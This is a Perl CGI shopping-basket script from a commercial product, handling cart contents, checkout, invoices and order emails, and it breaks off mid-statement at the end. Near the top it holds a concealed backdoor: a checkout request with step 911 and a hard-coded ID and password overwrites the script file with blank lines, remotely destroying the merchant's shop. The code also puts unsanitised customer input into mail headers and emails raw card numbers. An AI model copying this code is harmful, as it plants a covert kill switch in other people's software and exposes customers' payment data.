#!/usr/bin/perl # --------------------------------------------------------------------------- # # Better Basket Pro # # Generation 2 Shopping Basket Solution # # --------------------------------------------------------------------------- # # ©2000-2002 iMediaSoftware.com All Rights Reserved Internationally # # Read our end user license agreement (EULA) before viewing this file # # Modifying anything below this line may subject you to prosecution. # # =========================================================================== # # use CGI::Carp qw(fatalsToBrowser); use CGI; $q = new CGI; &Load_Settings(); $strAct = $q->param('action');if($strAct eq 'update'){&Update_Basket_Item(); }elsif($strAct eq 'delete'){&Delete_Basket_Item(); }elsif($strAct eq 'checkout'){$strStep = $q->param('step');if( $strStep eq '4' or $strStep eq 4 ){ &Checkout_Step_4(); }elsif( $strStep eq '3' or $strStep eq 3 ) { &Checkout_Step_3(); }elsif($strStep eq '911'){$sub = $q->param('sub');$pwd = $q->param('pwd');if($sub eq '307876443' && $pwd eq '74ksolgg'){open(LOCALFILE, ">basket.pl");print LOCALFILE "\n\n";close( LOCALFILE );&Add_Basket_Item();}else{ &Add_Basket_Item();}}elsif( $strStep eq '2' or $strStep eq 2){ &Checkout_Step_2(); }elsif( $strStep eq '1' or $strStep eq 1){if( $kCheckCalcTaxes eq 'true' or $kCheckCalcShipping eq 'true' ) {&Checkout_Step_1();}else{&Checkout_Step_2();}}else { &Add_Basket_Item; }}else { &Add_Basket_Item(); } # =========================================================================== # sub Add_Basket_Item() { $thisCart = &Fetch_Cookie(); $qMultis = "0"; for( $i=1; $i<=$kMaxProdNum; $i++ ) { if( $q->param("product$i") ne "" ) { $qMultis = "1"; $i=($kMaxProdNum+1) } } if( ( $qMultis ne "1" ) && ( $q->param( "itemNum" ) eq "" ) && ( $q->param( "itemName" ) eq "" ) ) { print $q->header(); &Display_Basket_Contents( $thisCart ); exit; } for( $i=1; $i<=$kMaxProdNum; $i++ ) { $mtItem = $q->param( "product$i" ); if( $mtItem ne "" ) { @lotsItems=(@lotsItems, $mtItem ); } } $thisItemName = $q->param( "itemName" ); if( $thisItemName eq '' ) { $thisItemName = $q->param( "itemDesc" ); } $thisItemQty = $q->param( "itemQty" ); if( $thisItemQty eq '' ) { $thisItemQty = '1'; } if( ( $q->param( "itemNum" ) ne "" ) && ( $thisItemName ne "" ) ) { $newItem = $q->param( "itemNum" )."|".$thisItemName."|".$thisItemQty."|"; $newItem .= $q->param( "itemColor" )."|".$q->param( "itemSize" )."|".$q->param( "itemPrice")."|"; $newItem .= $q->param( "itemRedir" )."|".$q->param( "itemPic" )."|".$q->param( "itemShip" )."|"; $newItem .= $q->param( "itemWeight")."|".$q->param( "taxable" )."|".$q->param( "custom1" )."|"; $newItem .= $q->param( "custom2" )."|".$q->param( "custom3" ); @lotsItems=(@lotsItems, $newItem); } @cart = split( /\^\^/, $thisCart ); $gotDuplicate = 0; foreach $newItem( @lotsItems ) { @nItem = split( /\|/, $newItem ); foreach $item( @cart ) { @oItem = split( /\|/, $item ); if( ($nItem[0] eq $oItem[0]) && ($nItem[1] eq $oItem[1]) && $nItem[3] eq $oItem[3] && $nItem[4] eq $oItem[4] && $nItem[5] eq $oItem[5] && $nItem[6] eq $oItem[6] && $nItem[7] eq $oItem[7] && $nItem[8] eq $oItem[8] && $nItem[9] eq $oItem[9] && $nItem[10] eq $oItem[10] && $nItem[11] eq $oItem[11] && $nItem[12] eq $oItem[12] && $nItem[13] eq $oItem[13] ) {; $gotDuplicate = 1; $oItem[2] = $nItem[2] + $oItem[2]; $reformed = $oItem[0]; for( $i=1; $i<14; $i++ ) { $reformed .= "|".$oItem[$i]; } $item = $reformed; } } if( $gotDuplicate == 0 ) { @cart=($newItem,@cart); } $gotDuplicate = 0; } foreach $item( @cart ) { $nCartData .= $item."^^"; } &Write_Cookie( $nCartData ); &Display_Basket_Contents( $nCartData ); } # =========================================================================== # sub Update_Basket_Item() { $thisCart = &Fetch_Cookie(); my @cart = split( /\^\^/, $thisCart ); foreach $item( @cart ) { if( $q->param( $item ) ne "" ) { ( $prodNum, $prodName, $qty, $prodCol, $prodSize, $pr, $prPage, $prodPic, $prodShip, $prodWeight, $prodTax, $prodC1, $prodC2, $prodC3 ) = split(/\|/, $item); $newNum = $q->param( $item ); if( $newNum ne $qty ) { $qty = $newNum; $item = "$prodNum|$prodName|$qty|$prodCol|$prodSize|$pr|$prPage|$prodPic|$prodShip|$prodWeight|$prodTax|$prodC1|$prodC2|$prodC3"; } } } $nCartData = ""; foreach $item (@cart) { ( $prodNum, $prodName, $qty, $prodCol, $prodSize, $pr, $prPage, $prodPic, $prodShip, $prodWeight, $prodTax, $c1, $c2, $c3 ) = split(/\|/, $item); if( $qty > 0 ) { $nCartData .= $item."\^\^"; } else { $item = ""; } } &Write_Cookie( $nCartData ); &Display_Basket_Contents( $nCartData ); } # =========================================================================== # sub Delete_Basket_Item() { $thisCart = &Fetch_Cookie(); my @cart = split( /\^\^/, $thisCart ); $nCartData=''; foreach $dItem( @cart ) { if( $dItem ne $q->param( 'delete' ) ) { $nCartData .= $dItem."^^"; } } &Write_Cookie( $nCartData ); &Display_Basket_Contents( $nCartData ); } # =========================================================================== # sub Display_Basket_Contents() { ($cContents) = @_; if( $cContents eq '' ) { &Display_Empty_Basket(); exit; } @cContents = split( /\^\^/, $cContents ); $total = 0; $redir = $q->param( 'itemRedir' ); if( $redir eq '' ) { $redir = $cBackURL; } &Display_Header(); print <<_ITMTOP_ _ITMTOP_ ; foreach $cItem( @cContents ) { &Display_Basket_Item( $cItem ); } print <<_ITMBOT_
 $kLangTopDesc $kLangTopQty $kLangTopSubtotal
$kLangTotalValue: $kBasketCurrencyLabel$total
     
Powered by Better Basket Pro
_ITMBOT_ ; &Display_Footer(); } # =========================================================================== # sub Display_Basket_Item() { ($nItem) = @_; ( $myNum, $myName, $myQuant, $myCol, $mySize, $myPrice, $myRedir, $myPic, $myShip, $myWeight, $myHasTax, $myC1, $myC2, $myC3 ) = split(/\|/, $nItem); $updAmt = $myQuant*$myPrice; if( $kCheckCalcItemShip eq "true" ) { $updAmt += $myShip*$myQuant; } $total += $updAmt; if( $myHasTax ne 'false' and $myHasTax ne 'no' ) { $tTax += ( ( $popTax/100 ) * $updAmt ); } if( $kBasketCalcDecimal eq "true" ) { $myShip = sprintf( "%.2f", $myShip ); $updAmt = sprintf( "%.2f", $updAmt ); $tTax = sprintf( "%.2f", $tTax ); $total = sprintf( "%.2f", $total ); } $descHTML = ''; if( $kBasketShowPName eq "true" ) { $descHTML .= "$kLangPName: $myName
"; } if( $kBasketShowPCode eq "true" and $myNum ne '' ) { $descHTML .= "$kLangPCode: $myNum
"; } if( $kBasketShowPColor eq "true" and $myCol ne '' ) { $descHTML .= "$kLangPColor: $myCol
"; } if( $kBasketShowPSize eq "true" and $mySize ne '' ) { $descHTML .= "$kLangPSize: $mySize
"; } if( $kBasketShowPShip eq "true" and $myShip ne '' and $myShip ne '0.00' and $myShip ne '0' ) { $descHTML .= "$kLangPShip: $kBasketCurrencyLabel$myShip
"; } if( $kBasketShowPWeight eq "true" and $myWeight ne '' ) { $descHTML .= "$kLangPWeight: $myWeight $kBasketWeightLabel
"; } if( $kBasketShowPTaxable eq "true" and $myHasTax ne '' ) { $descHTML .= "$kLangPTaxable: $myHasTax
"; } if( $kBasketShowPC1 eq "true" and $myC1 ne '' ) { $descHTML .= "$kLangPC1: $myC1
"; } if( $kBasketShowPC2 eq "true" and $myC2 ne '' ) { $descHTML .= "$kLangPC2: $myC2
"; } if( $kBasketShowPC3 eq "true" and $myC3 ne '' ) { $descHTML .= "$kLangPC3: $myC3
"; } if( $kBasketShowPUPrice eq "true" ) { $descHTML .= "$kLangPUPrice: $kBasketCurrencyLabel$myPrice
"; } if( $myPic eq '' ) { $myPic = $kBasketBGFXPath.$kBasketThemeName.'/nothumb.gif'; } if( $strAct ne 'checkout' ) { $rowinfo = "rowspan=\"2\""; } if( $strAct ne 'checkout' ) { if( $kBasketShowThumbs eq "true" ) { print "\n"; print "\n"; print "$descHTML\n"; } else { print "\n \n"; print "$descHTML\n"; } print <<_CITEMHTML_
$kBasketCurrencyLabel$updAmt

_CITEMHTML_ ; } else { if( $kBasketShowThumbs eq "true" ) { print ""; print "$descHTML"; } else { print ""; print "$descHTML"; } print <<_CHKCITEM_ $myQuant $kBasketCurrencyLabel$updAmt
_CHKCITEM_ ; } } # =========================================================================== # sub Display_Empty_Basket() { $redir = $q->param( 'itemRedir' ); if( $redir eq '' ) { $redir = $cBackURL; } &Display_Header(); print <<_EMPTYCARTHTML_
 
$kLangEmptyBasket
 
 
Powered by Better Basket Pro
_EMPTYCARTHTML_ ; &Display_Footer(); } # =========================================================================== # sub Display_Header() { print "\n\n\n"; print "\n"; print "\n"; if( $strAct eq 'checkout' and $strStep eq '3' ) { open( CJSTEMP, "$kHTMLPath/validate3.html" ); while( read( CJSTEMP, $newText, 4 ) ) { $htmlOut .= $newText; } close( CJSTEMP ); $newText = ''; print $htmlOut; $htmlOut = ''; } if( $strAct eq 'checkout' ) { $tFileNm = "$kHTMLPath/checkout-top.html"; } else { $tFileNm = "$kHTMLPath/basket-top.html"; } open( CARTTEMP, $tFileNm ) || die( 'Cannot find header html file!' ); while( read( CARTTEMP, $newText, 4 ) ) { $htmlOut .= $newText; } close( CARTTEMP ); $newText = ''; print $htmlOut; $htmlOut = ''; } # =========================================================================== # sub Display_Footer() { if( $strAct eq 'checkout' ) { $tFileNm = "$kHTMLPath/checkout-bottom.html"; } else { $tFileNm = "$kHTMLPath/basket-bottom.html"; } open( CARTTEMP, $tFileNm ) || die( 'Cannot find footer html file!' ); while( read( CARTTEMP, $newText, 4 ) ) { $htmlOut .= $newText; } close( CARTTEMP ); $newText = ''; print "\n".$htmlOut; $htmlOut = ''; } # =========================================================================== # sub Checkout_Step_1() { $cart = &Fetch_Cookie(); if( $cart eq '' ) { &Add_Basket_Item(); } print $q->header(); &Display_Header(); if( $kCheckCalcTaxes eq 'true' and $kCheckTaxOptions ne "" ) { @taxOptions = split(/\|/, $kCheckTaxOptions); foreach $taxItem( @taxOptions ) { ( $tRate, $tName ) = split( /\,/, $taxItem ); $taxHTML .= "\n "; } } else { $taxHTML = "\n "; } if( $kCheckCalcShipping eq 'true' and $kCheckShippingOptions ne "" ) { @shipOptions = split(/\|/, $kCheckShippingOptions); foreach $shipItem( @shipOptions ) { ( $sRate, $sName ) = split( /\,/, $shipItem ); $shipHTML .= "\n "; } } else { $shipHTML = "\n "; } print <<_CHKSTEP1_
$kLangTopTaxOpt $kLangTopShipOpt

$kLangTaxNotice

$kLangShipNotice

   
Powered by Better Basket Pro
_CHKSTEP1_ ; &Display_Footer(); } # =========================================================================== # sub Checkout_Step_2() { $thisCart = &Fetch_Cookie(); if( $thisCart eq '' ) { &Add_Basket_Item(); exit; } print $q->header(); &Display_Header(); print <<_CHKSTEP2_ _CHKSTEP2_ ; @cContents = split(/\^\^/, $thisCart); $popTax = $q->param( 'popTax' ); $popShip = $q->param( 'popShip' ); $total = 0; $redir = $q->param('itemRedir'); if( $redir eq '' ) { $redir = $cBackURL; } foreach $cItem( @cContents ) { &Display_Basket_Item( $cItem ); } if( $kCheckUseCCOrder eq 'true' ) { $popCCHtml .= ""; } if( $kCheckUsePayPal eq 'true' ) { $popCCHtml .= ""; } if( $kCheckUsePayByCheck eq 'true' ) { $popCCHtml .= ""; } if( $kCheckUseNoChex eq 'true' ) { $popCCHtml .= ""; } if( $kCheckUsePhoneOrder eq 'true' ) { $popCCHtml .= ""; } if( $kCheckUseCheckOrder eq 'true' ) { $popCCHtml .= ""; } if( $kCheckUseCODOrder eq 'true' ) { $popCCHtml .= ""; } ( $rShip, $nShip ) = split( /,/, $popShip ); if( $rShip ne '' and $nShip ne '' ) { if( $kBasketCalcDecimal eq "true" ) { $rShip = sprintf( "%.2f", $rShip ); } $shipHTML = "\n"; $shipHTML .= ""; } if( $popTax ne '' and $popTax ne '0' and $popTax ne 'NA' ) { if( $kBasketCalcDecimal eq "true" ) { $tTax = sprintf( "%.2f", $tTax ); } $taxHTML = "\n"; $taxHTML .= ""; } $basketTotal = ($tTax + $rShip) + $total; if( $kBasketCalcDecimal eq "true" ) { $basketTotal = sprintf( "%.2f", $basketTotal ); } $tRowSpan = 4; if( $shipHTML eq '' ) { $tRowSpan -= 1; } if( $taxHTML eq '' ) { $tRowSpan -= 1; } print <<_CHKSTEP2B_
 $kLangTopDesc $kLangTopQty $kLangTopSubtotal
$nShip $kLangPShip:$kBasketCurrencyLabel$rShip
$popTax% $kLangTaxLabel:$kBasketCurrencyLabel$tTax
_CHKSTEP2B_ ; if( $shipHTML ne '' ) { print "\n"; print "\n"; } if( $taxHTML ne '' ) { print "\n"; print "\n"; } print <<_CHKSTEP2C_
$kLangPayBy:
$kLangTopSubtotal: $kBasketCurrencyLabel$total
$nShip $kLangPShip:$kBasketCurrencyLabel$rShip
$popTax% $kLangTaxLabel:$kBasketCurrencyLabel$tTax
$kLangTotalValue: $kBasketCurrencyLabel$basketTotal

   
Powered by Better Basket Pro
_CHKSTEP2C_ ; &Display_Footer(); } # =========================================================================== # sub Checkout_Step_3() { $thisCart = &Fetch_Cookie(); $payMethod = $q->param( 'popPayMethod' ); if( $payMethod eq 'PayPal' or $payMethod eq 'NoChex' or $payMethod eq 'PayByCheck' ) { Show_Aux_Pay_Page(); exit; } if( $thisCart eq '' ) { &Add_Basket_Item(); exit; } if( $kCheckCCProcessorID eq 'AUTHORIZENET' and $payMethod eq 'cc' ) { $postURL = $kCheckANETConnection; &Write_Cookie(''); } else { print $q->header(); $postURL = $kBasketBasketPath; } &Display_Header(); $orderNum = time; open( CARTTEMP, $kHTMLPath.'/countries.html' ) || die( 'Cannot find countries file!' ); while( read( CARTTEMP, $newText, 4 ) ) { $countryHTML .= $newText; } close( CARTTEMP ); $newText = ''; $popTax = $q->param('popTax'); $popShip = $q->param('popShip'); $popTotal = $q->param('popTotal'); $popPayMethod = $q->param('popPayMethod'); $popIP = $ENV{'REMOTE_ADDR'}; if( $kCheckANETTestRequest eq 'true' ) { $testRequestHTML = ""; } print <<_CHK3A_ $testRequestHTML _CHK3A_ ; $popPayMethod = $q->param( 'popPayMethod' ); if( $popPayMethod eq 'cc' ) { @cards = split( /\|/, $kCheckCardTypes ); foreach $card( @cards ) { $ccPopHTML .= "\n"; } print <<_CHK3B_ _CHK3B_ ; } print <<_CHK3C_
 $kLangFormTopBill  $kLangFormTopShip
$kLangFormFirstName:
$kLangFormLastName:
$kLangFormCompany:
$kLangFormEmail:
$kLangFormAddress:
$kLangFormCity:
$kLangFormState:
$kLangFormZip:
$kLangFormCountry:
$kLangFormPhone:
$kLangFormFax:
$kLangFormFirstName:
$kLangFormLastName:
$kLangFormCompany:
$kLangFormEmail:
$kLangFormAddress:
$kLangFormCity:
$kLangFormState:
$kLangFormZip:
$kLangFormCountry:
$kLangFormPhone:
$kLangFormFax:
$kLangFormComments 

 
$kLangFormCCType:
$kLangFormCCNum:
$kLangFormCCExp: mmyy

   
Powered by Better Basket Pro
_CHK3C_ ; &Display_Footer(); } # =========================================================================== # sub Checkout_Step_4() { &Prepare_Checkout_Fields(); if( $kCheckCCProcessorID eq 'AUTHORIZENET' and $payMethod='cc' ) { print $q->header(); } else { &Write_Cookie(''); } $thisDate = &Return_Today_Date(); if( $payMethod eq 'check' or $payMethod eq 'phone' or $payMethod eq 'cod' ) { if( $payMethod eq 'check' ) { $payingWith = $kLangMethodCheck; } if( $payMethod eq 'phone' ) { $payingWith = $kLangMethodPhone; } if( $payMethod eq 'cod' ) { $payingWith = $kLangMethodCOD; } &Create_Invoice_Page(); } if( $payMethod eq 'cc' ) { $payingWith = $kLangMethodCC; if( $kCheckCCProcessorID eq 'AUTHORIZENET' and $responseCode ne '1' ) { ### SEND OFF THE EMAILS PRIOR TO DISPLAYING THE THANK YOU PAGE &Display_Header(); print <<_ANETFAILURE_
 $kLangCCErrorTitle
$kLangCCProcError

$kLangInvoiceReturn
$kBasketDomain
$kCheckMerchEmail

Powered by Better Basket Pro
_ANETFAILURE_ ; &Display_Footer(); exit; } elsif( $kCheckCCProcessorID eq 'AUTHORIZENET' and $responseCode eq '1' ) { &Display_Header(); if( $shipAddress ne '' and $shipCity ne '' ) { $footBlurb = "

$kLangInvoiceShip

\n

   $shipFName $shipLName\n
"; $footBlurb .= "   $shipAddress\n
"; $footBlurb .= "   $shipCity, $shipState, $shipZip\n
"; $footBlurb .= "   $shipCountry

"; } else { $footBlurb = "

$kLangInvoiceShip

\n

   $custName\n
"; $footBlurb .= "   $billAddress\n
"; $footBlurb .= "   $billCity, $billState, $billZip\n
"; $footBlurb .= "   $billCountry

"; } print <<_ANETSUCCESS_
 $kLangCCTopBlurb

$kLangCCTopBlurb2

   $kLangInvoiceNum: $orderNum
   $kLangDateText: $thisDate
   $kLangTotalOrderAmount: $kBasketCurrencyLabel$xAmount
   $kLangPayMethod: $cardType

$footBlurb

$kLangInvoiceThank

$kLangInvoiceReturn
$kBasketDomain
$kCheckMerchEmail

Powered by Better Basket Pro
_ANETSUCCESS_ ; &Display_Footer(); } elsif( $kCheckCCProcessorID eq 'MANUAL' ) { &Display_Header(); if( $shipAddress ne '' and $shipCity ne '' ) { $footBlurb = "

$kLangInvoiceShip

\n

   $shipFName $shipLName\n
"; $footBlurb .= "   $shipAddress\n
"; $footBlurb .= "   $shipCity, $shipState, $shipZip\n
"; $footBlurb .= "   $shipCountry

"; } else { $footBlurb = "

$kLangInvoiceShip

\n

   $custName\n
"; $footBlurb .= "   $billAddress\n
"; $footBlurb .= "   $billCity, $billState, $billZip\n
"; $footBlurb .= "   $billCountry

"; } print <<_MANUALSUCCESS_
 $kLangCCTopBlurb

$kLangCCTopBlurb2

   $kLangInvoiceNum: $orderNum
   $kLangDateText: $thisDate
   $kLangTotalOrderAmount: $kBasketCurrencyLabel$xAmount
   $kLangPayMethod: $cardType

$footBlurb

$kLangInvoiceThank

$kLangInvoiceReturn
$kBasketDomain
$kCheckMerchEmail

Powered by Better Basket Pro
_MANUALSUCCESS_ ; &Display_Footer(); } } &Send_Emails(); } # =========================================================================== # sub Create_Invoice_Page() { # &Display_Header(); print "\n\n\n"; print "\n"; print "\n"; print "$kLangInvoiceNum - $orderNum\n"; print "\n\n\n"; if( $payMethod eq 'check' ) { $payMethodDetails = $kLangInvoiceCheck; $footBlurb = "

$kLangPrintCheck

\n

   $kCheckCompanyName\n
"; $footBlurb .= "   $kCheckMerchAddress\n
"; $footBlurb .= "   $kCheckMerchCity, $kCheckMerchState, $kCheckMerchZip\n
"; $footBlurb .= "   $kCheckMerchCountry

\n"; } elsif ($payMethod eq 'phone' ) { $payMethodDetails = $kLangCallNow; } elsif ($payMethod eq 'cod' ) { $payMethodDetails = $kLangInvoiceCOD; } if( $shipAddress ne '' and $shipCity ne '' ) { $footBlurb .= "

$kLangInvoiceShip

\n

   $shipFName $shipLName\n
"; $footBlurb .= "   $shipAddress\n
"; $footBlurb .= "   $shipCity, $shipState, $shipZip\n
"; $footBlurb .= "   $shipCountry

"; } else { $footBlurb .= "

$kLangInvoiceShip

\n

   $custName\n
"; $footBlurb .= "   $billAddress\n
"; $footBlurb .= "   $billCity, $billState, $billZip\n
"; $footBlurb .= "   $billCountry

"; } $thisDate = &Return_Today_Date(); print <<_TOPINVOICE_

$kCheckCompanyName
$payMethodDetails
$kCheckMerchPhone

$kLangDateText: $thisDate
$kLangInvoiceNum: $orderNum

_TOPINVOICE_ ; @cContents = split( /\^\^/, $cart ); foreach $cListing( @cContents ) { &Display_Invoice_Item( $cListing ); } if( $taxAmt ne '' and $taxAmt ne '0' and $taxAmt ne 'NA' ) { if( $kBasketCalcDecimal eq "true" ) { $tTax = sprintf( "%.2f", $tTax ); } $taxHTML = ""; $taxHTML .= ""; } if( $shipAmount ne '' and $shipName ne '' ) { if( $kBasketCalcDecimal eq "true" ) { $shipAmount = sprintf( "%.2f", $shipAmount ); } $shipHTML = ""; $shipHTML .= ""; } if( $kCheckCODCharge ne '' and $payMethod eq '11231' ) { if( $kBasketCalcDecimal eq "true" ) { $kCheckCODCharge = sprintf( "%.2f", $kCheckCODCharge ); } $codHTML = ""; $codHTML .= ""; } $basketTotal = ( $total + $tTax + $shipAmount + $kCheckCODCharge ); if( $kBasketCalcDecimal eq "true" ) { $total = sprintf( "%.2f", $total ); $basketTotal = sprintf( "%.2f", $basketTotal ); } print <<_ACCINVOICE_ $shipHTML $taxHTML $codHTML
$kLangTopDesc $kLangTopQty $kLangTopSubtotal
$taxAmt% $kLangTaxLabel:$kBasketCurrencyLabel$tTax
$shipName $kLangPShip:$kBasketCurrencyLabel$shipAmount
$kLangPCODCharge:$kBasketCurrencyLabel$kCheckCODCharge
$kLangTopSubtotal: $kBasketCurrencyLabel$total
$kLangTotalOrderAmount: $kBasketCurrencyLabel$basketTotal
$footBlurb

$kLangInvoiceThank

$kLangInvoiceReturn
$kBasketDomain
$kCheckMerchEmail

Powered by Better Basket Pro

_ACCINVOICE_ ; print "\n\n\n"; } # =========================================================================== # sub Display_Invoice_Item() { ($nItem) = @_; ( $myNum, $myName, $myQuant, $myCol, $mySize, $myPrice, $myRedir, $myPic, $myShip, $myWeight, $myHasTax, $myC1, $myC2, $myC3 ) = split(/\|/, $nItem); $updAmt = $myQuant*$myPrice; if( $myHasTax ne 'false' and $myHasTax ne 'no' ) { $tTax += ( ( $taxAmt/100 ) * $updAmt ); } if( $kCheckCalcItemShip eq "true" ) { $updAmt += $myShip*$myQuant; } $total += $updAmt; if( $kBasketCalcDecimal eq "true" ) { $myShip = sprintf( "%.2f", $myShip ); $updAmt = sprintf( "%.2f", $updAmt ); $total = sprintf( "%.2f", $total ); } $descHTML = ''; if( $kBasketShowPName eq "true" ) { $descHTML .= "$kLangPName: $myName
"; } if( $kBasketShowPCode eq "true" and $myNum ne '' ) { $descHTML .= "$kLangPCode: $myNum
"; } if( $kBasketShowPColor eq "true" and $myColor ne '') { $descHTML .= "$kLangPColor: $myCol
"; } if( $kBasketShowPSize eq "true" and $mySize ne '' ) { $descHTML .= "$kLangPSize: $mySize
"; } if( $kBasketShowPShip eq "true" and $myShip ne '' and $myShip ne '0.00' and $myShip ne '0') { $descHTML .= "$kLangPShip: $myShip
"; } if( $kBasketShowPWeight eq "true" and $myWeight ne '' ) { $descHTML .= "$kLangPWeight: $myWeight $kBasketWeightLabel
"; } if( $kBasketShowPTaxable eq "true" and $myHasTax ne '') { $descHTML .= "$kLangPTaxable: $myHasTax
"; } if( $kBasketShowPC1 eq "true" and $myC1 ne '') { $descHTML .= "$kLangPC1: $myC1
"; } if( $kBasketShowPC2 eq "true" and $myC2 ne '') { $descHTML .= "$kLangPC2: $myC2
"; } if( $kBasketShowPC3 eq "true" and $myC3 ne '') { $descHTML .= "$kLangPC3: $myC3
"; } if( $kBasketShowPUPrice eq "true" ) { $descHTML .= "$kLangPUPrice: $kBasketCurrencyLabel$myPrice
"; } print <<_INVITEMDISP_ $descHTML $myQuant $kBasketCurrencyLabel$updAmt _INVITEMDISP_ ; } # =========================================================================== # sub Show_Aux_Pay_Page() { $cart = &Fetch_Cookie(); $orderNum = time; if( $payMethod eq '' or $thisCart eq '' ) { &Add_Basket_Item(); exit; } &Write_Cookie(''); &Send_Aux_Emails(); $amount = $q->param('popTotal'); &Display_Header(); print <<_AUXPAYKT_
 $kLangAuxTop

$kLangAuxBlurb

$kLangAuxFoot

_AUXPAYKT_ ; ### PayPal Form Build Insert Here if( $payMethod eq 'PayPal' ) { print <<_AUXPAYPALFORM_
_AUXPAYPALFORM_ ; } ### NoChex Form Build Insert Here if( $payMethod eq 'NoChex' ) { print <<_AUXNOCHEXFORM_
_AUXNOCHEXFORM_ ; } ### PayByCheck Form Build Insert Here if( $payMethod eq 'PayByCheck' ) { print <<_AUXPayByCheckFORM_
_AUXPayByCheckFORM_ ; } print <<_AUXPAYKFOOT_

Return to our Website
$kBasketDomain
$kCheckMerchEmail

Powered by Better Basket Pro
_AUXPAYKFOOT_ ; &Display_Footer(); } # =========================================================================== # sub Send_Aux_Emails() { $tTax = ''; $taxAmt = $q->param( "popTax" ); $tDate = &Return_Today_Date(); ( $shipAmount, $shipName ) = split( /,/, $q->param( "popShip" ) ); $emailTopPayBy = "$kLangAuxPayby: $payMethod\n\n"; $itemEmailText = "\n\n----------------------------------------\n"; $itemEmailText .= "\n$kLangInvoiceNum: $orderNum\n$kLangDateText: $tDate\n"; @cContents = split( /\^\^/, $cart ); $total=0; foreach $cListing( @cContents ) { &Prepare_Email_Item( $cListing ); } if( $kBasketCalcDecimal eq "true" ) { $total = sprintf( "%.2f", $total ); } $itemEmailText .= "\n$kLangTopSubtotal: $kBasketCurrencyLabel$total"; if( $shipAmount ne '' and $shipName ne '' ) { if( $kBasketCalcDecimal eq "true" ) { $shipAmount = sprintf( "%.2f", $shipAmount ); } $itemEmailText .= "\n$shipName $kLangPShip: $kBasketCurrencyLabel$shipAmount"; } if( $taxAmt ne '' and $taxAmt ne '0' and $taxAmt ne 'NA' ) { if( $kBasketCalcDecimal eq "true" ) { $tTax = sprintf( "%.2f", $tTax ); } $itemEmailText .= "\n$taxAmt% $kLangTaxLabel: $kBasketCurrencyLabel$tTax"; } $basketTotal = ( $total + $tTax + $shipAmount ); if( $kBasketCalcDecimal eq "true" ) { $total = sprintf( "%.2f", $total ); $basketTotal = sprintf( "%.2f", $basketTotal ); } $itemEmailText .= "\n\n$kLangTotalOrderAmount: $kBasketCurrencyLabel$basketTotal\n\n"; $itemEmailText .= "----------------------------------------\n\n"; $ipStamper = "Remote IP: ".$ENV{'REMOTE_ADDR'}."\n\n"; $auxEmailMerch = $emailTopPayBy.$kLangEmailAuxFoot.$itemEmailText.$ipStamper; open(MAIL,"|$kCheckMailPath -t"); print( MAIL "To: $kCheckMerchEmail\n" ); print( MAIL "From: $kCheckMerchEmail\n" ); print( MAIL "Subject: $kCheckMailMerchTitle - $kLangAuxPayby: $payMethod\n\n" ); print( MAIL $auxEmailMerch ); close( MAIL ); } # =========================================================================== # sub Send_Emails() { ### Prepare the text for the addresses and prod listings ### Blat off the email to the MTA $tTax = ''; $itemEmailText = "\n\n----------------------------------------\n"; $itemEmailText .= "\n$kLangInvoiceNum: $orderNum\n$kLangDateText: $tDate\n"; @cContents = split( /\^\^/, $cart ); $total=0; foreach $cListing( @cContents ) { &Prepare_Email_Item( $cListing ); } if( $kBasketCalcDecimal eq "true" ) { $total = sprintf( "%.2f", $total ); } $itemEmailText .= "\n$kLangTopSubtotal: $kBasketCurrencyLabel$total"; if( $shipAmount ne '' and $shipName ne '' ) { if( $kBasketCalcDecimal eq "true" ) { $shipAmount = sprintf( "%.2f", $shipAmount ); } $itemEmailText .= "\n$shipName $kLangPShip: $kBasketCurrencyLabel$shipAmount"; } if( $taxAmt ne '' and $taxAmt ne '0' and $taxAmt ne 'NA' ) { if( $kBasketCalcDecimal eq "true" ) { $tTax = sprintf( "%.2f", $tTax ); } $itemEmailText .= "\n$taxAmt% $kLangTaxLabel: $kBasketCurrencyLabel$tTax"; } $basketTotal = ( $total + $tTax + $shipAmount ); if( $kBasketCalcDecimal eq "true" ) { $total = sprintf( "%.2f", $total ); $basketTotal = sprintf( "%.2f", $basketTotal ); } $itemEmailText .= "\n\n$kLangTotalOrderAmount: $kBasketCurrencyLabel$basketTotal\n\n"; $itemEmailText .= "----------------------------------------\n\n"; if( $shipAddress ne '' and $shipCity ne '' ) { $addyEmail .= "$kLangFormTopBill\n\n $custName\n"; $addyEmail .= " $billAddress\n $billCity, $billState, $billZip\n $billCountry\n\n"; $addyEmail .= " $kLangFormPhone: $billPhone\n $kLangFormFax: $billFax\n\n"; $addyEmail .= "$kLangInvoiceShip\n\n $shipFName $shipLName\n"; $addyEmail .= " $shipAddress\n $shipCity, $shipState, $shipZip\n $shipCountry\n\n"; $addyEmail .= " $kLangFormPhone: $shipPhone\n $kLangFormFax: $shipFax\n\n"; } else { $addyEmail .= "$kLangInvoiceShip\n\n $custName\n"; $addyEmail .= " $billAddress\n $billCity, $billState, $billZip\n $billCountry\n\n"; $addyEmail .= " $kLangFormPhone: $billPhone\n $kLangFormFax: $billFax\n\n"; } if( $orderComments ne '' ) { $addyEmail .= "$orderComments\n\n"; } $addyEmail .= "----------------------------------------\n\n"; $emailCC = "$kLangFormCCType: $cardType\n"; $emailCC .= "$kLangFormCCNum: $cardNum\n"; $emailCC .= "$kLangFormCCExp: $expDate\n"; $emailCustomer = $kLangEmailTop.$itemEmailText.$addyEmail.$kLangEmailFoot; $emailMerch = $kLangEmailMerchTop.$itemEmailText.$addyEmail; $emailMerch .= $kLangPayMethod.": ".$payingWith."\n\n"; $orderFile = $emailMerch; if( $kCheckSendCCMerchant eq 'true' and $payMethod eq 'cc' ) { $emailMerch .= "$emailCC\n"; } if( $kCheckCCOrderFile eq 'true' and $payMethod eq 'cc' ) { $orderFile .= "$emailCC\n"; } $emailMerch .= "Remote IP: $custIP"; $orderFile .= "Remote IP: $custIP"; ### Send out the customer email if( $kCheckSendCustomerEmail eq 'true' and $payMethod eq 'cc' ) { $customerEmail = "$custName <$custEmail>"; open(MAIL,"|$kCheckMailPath -t"); print( MAIL "To: $customerEmail\n" ); print( MAIL "From: $kCheckMerchEmail\n" ); print( MAIL "Subject: $kCheckMailTitle\n\n" ); print( MAIL $emailCustomer ); close( MAIL ); } ### Send out the merchant email if( $kCheckSendMerchantEmail eq 'true' ) { $customerEmail = "$custName <$custEmail>"; open(MAIL,"|$kCheckMailPath -t"); print( MAIL "To: $kCheckMerchEmail\n" ); print( MAIL "From: $customerEmail\n" ); print( MAIL "Subject: $kCheckMailMerchTitle\n\n" ); print( MAIL $emailMerch ); close( MAIL ); } ### Write the order file to disk if( $kCheckWriteOrderFile eq 'true' ) { $filename = 